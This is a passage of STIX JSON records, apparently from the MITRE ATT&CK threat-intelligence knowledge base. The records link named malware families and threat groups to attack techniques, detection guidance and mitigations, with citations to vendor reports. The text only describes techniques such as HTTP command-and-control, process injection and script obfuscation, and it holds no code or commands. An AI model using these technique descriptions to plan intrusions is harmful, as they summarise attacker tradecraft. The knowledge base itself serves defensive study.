privileges.","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b54dd734-7d12-4f69-89f7-d89e9090777a","type":"relationship","created":"2020-10-01T02:11:47.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T02:11:47.282Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b54e646d-a532-49e8-bcb1-d987a15cc1d9","created":"2024-08-28T14:16:00.768Z","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-28T14:16:00.768Z","description":"[GLOOXMAIL](https://attack.mitre.org/software/S0026) communicates to servers operated by Google using the Jabber/XMPP protocol for C2.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2","target_ref":"attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5508866-69f6-4bbe-8906-9de0148d9834","type":"relationship","created":"2019-01-29T19:18:28.542Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2020-03-17T00:51:48.756Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can use HTTP for C2 communications.(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5582dcf-f58c-4420-a65d-186e2df9db8f","created":"2022-09-22T20:17:22.497Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:17:22.497Z","description":"[ccf32](https://attack.mitre.org/software/S1043) can run on a daily basis using a scheduled task.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b559ee80-3a71-4e2c-971a-4e575b5b8a19","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.578Z","description":"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b55a3ac1-bb12-4507-a323-221b893df51b","type":"relationship","created":"2019-04-19T15:30:36.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.354Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has used WMI to recompile the Managed Object Format (MOF) files in the WMI repository.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5612c39-e246-409b-97cb-57067cfa27b4","type":"relationship","created":"2019-05-02T14:41:03.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2019-06-12T20:05:18.388Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) uses the [Forfiles](https://attack.mitre.org/software/S0193) utility to execute commands on the system.(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b562272b-db14-45e4-8ff2-3eafb2db5179","type":"relationship","created":"2019-11-27T14:58:00.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"}],"modified":"2020-12-30T14:26:44.915Z","description":"Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b565458d-7831-4010-9596-4d6fe44fd738","type":"relationship","created":"2020-05-11T22:12:28.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.272Z","description":"After loading the keyword and phone data files, [MESSAGETAP](https://attack.mitre.org/software/S0443) begins monitoring all network connections to and from the victim server. (Citation: FireEye MESSAGETAP October 2019)","relationship_type":"uses","source_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b567c4eb-669f-4e1b-b3dd-a5f3b9bdf567","type":"relationship","created":"2020-11-08T23:40:19.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:40:19.634Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can enumerate files and directories on a compromised host.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b56a1198-e23a-48f4-9744-7a6f087b79a3","created":"2019-01-29T21:27:25.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.991Z","description":"(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b56b122d-0a12-4b1a-854e-5c0826603121","type":"relationship","created":"2021-02-23T20:50:33.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.445Z","description":"[Conficker](https://attack.mitre.org/software/S0608) exploited the MS08-067 Windows vulnerability for remote code execution through a crafted RPC request.(Citation: SANS Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b56db835-3b80-49e8-964d-0c1c52d182fe","created":"2023-01-11T21:37:34.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T16:34:41.599Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has terminated specific processes before encryption.(Citation: Malwarebytes AvosLocker Jul 2021)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5744487-e865-4ff2-9d69-e98c1148aade","type":"relationship","created":"2020-06-02T18:46:58.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-15T15:17:10.120Z","description":"[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use [Tasklist](https://attack.mitre.org/software/S0057) to list running processes.(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5766b7d-0a7d-4bbc-8a44-211825de80db","type":"relationship","created":"2021-01-28T18:45:49.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:34.269Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to automatically collect system and network configuration information.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b57b7604-1b4c-4ee2-aa1a-737f459df99f","created":"2024-03-13T22:02:26.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T14:45:34.465Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) searches for various filesystem paths to determine what banking applications are installed on the victim’s machine.(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b57bbf55-ef91-4521-b988-2e3ea5e269d1","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor for access to windows registry keys that may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b580bd73-72e4-479a-b8c8-221e12dc00db","type":"relationship","created":"2021-09-14T20:47:33.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-14T20:47:33.502Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) can enumerate files and directories just prior to encryption.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b586d488-bcc0-45bd-b44f-587ddc5f2c7a","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Chrome Roaming Profiles","description":"Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.","url":"https://support.google.com/chrome/a/answer/7349337"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T18:01:14.912Z","description":"Monitor for unusual access to stored browser data, such as local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles) Rather than viewing these events in isolation, this activity may highlight a chain of behavior that could lead to other activities, such as Collection and Exfiltration.","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5894858-3f86-48f4-8ae0-7fcb8c19c36b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2019-09-23T13:20:27.362Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used [BITSAdmin](https://attack.mitre.org/software/S0190) to download additional tools.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b58b7cb7-ba2a-40ef-9532-c134b8811415","created":"2019-01-30T13:24:09.158Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."},{"source_name":"Securelist Octopus Oct 2018","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Octopus](https://attack.mitre.org/software/S0340) has used HTTP GET and POST requests for C2 communications.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)","modified":"2022-04-06T17:17:57.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b58eb56c-9992-4fcd-ae4f-b7a1301667f0","created":"2022-06-09T19:10:16.792Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"The [Saint Bot](https://attack.mitre.org/software/S1018) loader has used API calls to spawn `MSBuild.exe` in a suspended state before injecting the decrypted [Saint Bot](https://attack.mitre.org/software/S1018) binary into it.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:10:16.792Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b593a75c-245f-449c-861b-b283c47357f0","type":"relationship","created":"2020-12-28T19:08:56.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}],"modified":"2020-12-28T19:08:56.363Z","description":"(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5952b5f-281b-4ff4-9cfb-c2898f3028cc","created":"2020-05-21T13:12:36.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:30:00.835Z","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) has used base64 encoding and XOR to obfuscate PowerShell scripts.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5963cc5-0488-46a8-b47a-b781ac724590","type":"relationship","created":"2019-12-13T16:46:19.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-12-13T16:46:19.048Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b597a9fa-34d7-4f35-870e-dd9b082619b2","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","external_references":[{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider use of services that may aid in the tracking of capabilities, such as certificates, in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","modified":"2022-04-14T16:44:25.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b59cba59-e191-4a12-aa82-1a74ec59df48","created":"2024-05-22T21:54:12.051Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:54:12.051Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) will set a timestamp value to determine when wiping functionality starts. When the timestamp is met on the system, a trigger file is created on the operating system allowing for execution to proceed. If the timestamp is in the past, the wiper will execute immediately.(Citation: SentinelOne Agrius 